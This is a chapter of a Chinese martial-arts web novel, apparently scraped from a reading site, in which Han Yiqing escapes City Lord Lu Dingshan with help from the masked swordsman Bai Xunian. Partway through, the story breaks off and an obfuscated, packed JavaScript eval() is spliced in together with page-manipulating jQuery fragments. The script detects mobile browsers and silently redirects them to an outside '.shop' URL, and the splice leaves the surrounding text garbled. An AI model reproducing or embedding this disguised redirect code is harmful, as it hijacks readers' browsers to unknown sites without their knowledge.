路定山看着三人,寒以清平静自信,颜疏裴礼貌微笑,风千绪不屑撇头,三人脸上各显其色,唯独见不着恐惧怯懦。
“好,我答应你们。”路定山松了口。
跪在地上的傅家玉虽然还是那般颤颤巍巍,但心里也悄悄歇下一口气。
“路城主,能否让我先看看他的情况?”寒以清看向傅家玉。
路定山点了点头,他示意傅家玉站起身来。
傅家玉踉跄着站起了身,他缓慢地抬起手,寒以清装则装作把脉的模样,实则重重地在他手上按了两下,她眼睛看向他,目光中透露出坚定的三个字。
“相信我。”
这个眼神有一股让人信服的威力,傅家玉的眼神从颤抖逐渐平静,他点了点头。
“既是缓解蛊毒的负面威力,最佳之法便是在他身上采取对症之法。其一需用晨初之水煎服独参汤,每日一副,再隔日一粒九穗万古丹,辅以此六穴以活络经脉,稳定内息,切记不能受热;其二是路城主你需压制自身境界,累积半月再凝气,以一鼓作气之力突破境界,方起效用。”
寒以清从腰上摸出五颗药丸递给傅家玉:“这是胆苜丸,你每隔五日食一粒,食后半个时辰,会有流汗燥热之感,不可洗浴冷水,必须沐浴温水以此泻毒。”
“这九穗万古丹难得,路城主只需去药师斋报上傅家的名号,药师斋之人定会给你们。”
“我该说的都说完了,望路城主得偿所愿,小辈们就先告辞了。”寒以清向路定山垂首,起身,她又朝傅家玉点了点头。
见路定山什么都没说,三人就打算离开。
刚一转身,还未走几步,那路定山突然起势,显然就是要将三人抓走。
这是要反悔?
寒以清走在末尾,她最先受到冲击,剑还留在剑鞘中,被这真气压得全然拔不出来,颜疏裴本就受着伤,他被甩了出去,剩下的风千绪硬撑着才勉强站立。
恐怖的气息席卷全院,天上乌云密布,不见一点星光。
寒以清只觉着双耳刺痛,大脑混沌,风千绪在她身前,也跟着全身僵硬,动弹不得。他们根本不是他的对手,若这路定山要他们死,他们一点儿胜算都没有。
路定山毫不费力地抓住了寒以清,他一掌就要落于她的肩上,就在这时,不知从何处钻出一丝光亮,数万支玄剑顺着光直朝路定山而来。
路定山迅速放开手,他转身一引惊雷,万雨化作剑气向那数万剑而去。
两相交锋,数万支玄剑却只剩虚影,路定山只觉中计,他回过神来,就看见一个狐狸面具的男子,拉走了寒以清。
寒以清忍不住一口鲜血喷出,她看见那张面具下的眼睛里,满是担忧。
“你们先走,不用管我。”白栩年推走寒以清。
他持玄剑向前,直朝路定山而去。
寒以清别无他法,她和风千绪架起颜疏裴,迅速逃离现场。
眼见着面前的男子攻来,路定山只能先解决眼前。
他怒不可遏,万雨倾泻而来,却见白栩年虚影闪烁,每亮一处,就越来越看不清。
路定山越看越觉得眼熟,那面具男子步伐虽然凌乱,却有自己的一套章法,他们涪水向来以速度见长,那男子肯定比不过他的身法,但他还是看不清他,他是在用一种障眼法。
数年之前见此招还是在凤凰山上,这招使得行云流水,势正招圆,气韵外显,观之变化无穷,在场的众位高手也不禁感叹此招实为精妙。
多少年了,这招“七星刻雾”又在他眼前,他从台下之人变成了亲历之人。
路定山断了“山雨惊波”,他站定回息,一瞬之间,白栩年剑指眼前。
见路定山收起招式,白栩年迅速收回了剑,他后退几步,双手在前:“多谢路城主手下留情。”
“你是镜峰的人,易道长的弟子,李道言还是白栩年?”
狐狸面具被摘下,一张俊朗的脸显现出来,正是当年青云榜上排行第三之人,白栩年。
“不过凝神之人,竟然能接近照心境的水平,还能接下我的山雨惊波,果真是易老的弟子啊。”路定山看向白栩年,当年大放异彩之人,今日还是那般光芒四射。
“但你不要以为你拦住了我,我就追不上他们。”路定山一甩衣袖,神色凌厉:“刚才是看在易老的面子上放你一马,若是还敢拦我,杀你”路定山轻哼一声。
“栩年多谢路城主不杀之恩,为感念城主大恩大德,今日那傅公子的秘密不会公之于众。”白栩年语气温和,说出的话却让路定山一惊。
“你敢威胁我?”路定山杀意渐起。
“城主可以杀了我,我不过是一个小小指挥使,少我一个上京那边不过再派一个过来,也掀不起什么风浪。但若是城主的消息走漏出去,不知路城主这一路会遇到多少英雄,栩年实在是为着城主着想。”
路定山大笑三声:“好好好,不愧是白指挥使,从那地方出来的人,就算是镜峰门下,也没去除这满身脏污之气。我看啊果真不如你那清风朗月的师兄,易老的衣钵还是在你师兄身上才是。”
“路城主谬赞了,师兄自是会承袭师傅荣光,我怎敢与师兄相比。”
路定山不再说话,他提起晕倒的傅家玉,消失在黑夜之中。
白栩年站在院中,他将自身封住的穴道解开,手臂上陡然一条黑色的纹路开始向四周延展。
他忍住蚀骨之痛,从怀里掏出一个小瓶,抖出只剩一粒的药丸,一口吞咽下去。
——
从那荒院撤离后,寒以清他们也不敢回到当初的客栈,加上城门早已关闭,她只能在城中暂寻一处隐蔽之所。
似是有人指引,有意将他们引他们到一处偏院,寒以清本想出剑,从那人口中得知是那许白授意,她才继续跟随而去。
她和风千绪都受了不小的内伤,但当下最严重的还是颜疏裴,旧伤未愈,新伤又起,他脸颊滚烫,意识已然模糊。
两人将他扶在床上,寒以清嘱咐风千绪:“先去打盆水来。”
幸得及时喂了一颗药丸,只要小心清理伤口,再将余毒逼出,就无大碍。
不过她药箱未在身边,只能先简单包扎,本想再出门寻医,就听见开门声。
“客栈的东西我都拿过来了,就放在隔壁屋子里。”白栩年见到走出房门的寒以清,解释道。
寒以清看向他,他神色自若,平静无波,身上也没有受伤的痕迹。他看向她时,反而面露忧虑。
“他已经走了,不会再追过来了。”
正想询问经过,许白说完后便打消了她的顾虑。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17666998|202500||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“多谢。”还是救人要紧。
寒以清拿回药箱,赶紧行动起来,她递给风千绪一颗治疗内伤的药,再喂了自己一颗,才开始医治颜疏裴。
一炷香的时间,寒以清收针,站在一旁的风千绪也安下心来。
“门口那人是那许白吧?”风千绪看向寒以清,带着询问的神色。
寒以清没有回答,反而说道:“你也受着伤,先去休息吧,我守着他的。”
“你伤得比我重,你去歇着,我看着他。”风千绪急忙反驳。
“风千绪!”
见寒以清严肃起来,风千绪只能听从:“好吧,那你可不能逞强。”
风千绪刚打开房门,就见着白栩年准备敲门。
“许大人”话还未问出口,许白先开了口:“我来照看他吧,你们都受了不小的伤。”
他的眼神看向坐在床边的寒以清,无意间看向寒以清握着颜疏裴的那只手。
人家如此舍命救了他们,风千绪对白栩年信任加深,加上他也想让以清阿姐休息,连忙附和。
“对呀,阿姐你就去歇息吧。”
寒以清本想拒绝,却觉有些头晕目眩,怕被两人看出,她便应了下来。
回到房间,她立即调息运气,刚才路定山的那一掌虽未落到她的身上,但那余波还是伤到了她的经脉。
她想起内功心法《九寒经》的第三卷,通过调和内息来修复经脉,比用外物更加事半功倍。
她盘坐于床,牵引着内息调和,经脉舒展自然,轻轻向内里伸展,上次被风千绪伤后而生长的经脉越发强劲,内力的集聚也更加迅速,她能调动的真气也越来越多。
她能感受自身功力的提升比以前更快,如今的她怕是已经越过入心中期。
寒以清抽出三根针扎于肩上三个穴位,瘀血顺利排除,她歇下一口气。
翌日,几人从颜疏裴的惊呼中醒来,风千绪率先到达战场,就看见颜疏裴抓着白栩年的手,一脸震惊。
“怎么是你!”颜疏裴赶紧放开手,他“咻”的一下坐了起来,才发觉肩上有伤,又吃痛叫了一声。
“颜大哥,你小心一点儿。”他连忙走了过去。
颜疏裴挤眉弄眼的,表情示意风千绪:“他怎么在这儿?”
风千绪递过汤药:“许大人可是照料了你一晚上,你还不赶紧感谢他。”
颜疏裴再次挤眉弄眼确认,风千绪重重点了几下头。
见着两人旁若无人地用表情说话,白栩年疲惫开口道:“既然颜公子已醒,在下就先告辞了。”
不等两人反应,白栩年走出了门。
颜疏裴连忙大声喊道:“多谢你了啊,许大人!”
出了门,他就看见寒以清一身明黄迎面而来。
“许大人,方便说几句话吗?”寒以清站在廊下。
“好。”
两人多走了几步,停在了庭院之中。
她神情自若,依旧高绑起来的长辫,一双清亮而又倔气的桃花眼,明黄色的衣裙不显张扬,更显明媚。
“其实许大人已经认出我了,对吗?”
天上乌云密布,似有大雨倾盆之势,面前的男子不露声色,但那一瞬间身体的僵硬,紧紧捏住的手掌心,将听到这句话后的错愕,彻底暴露出来。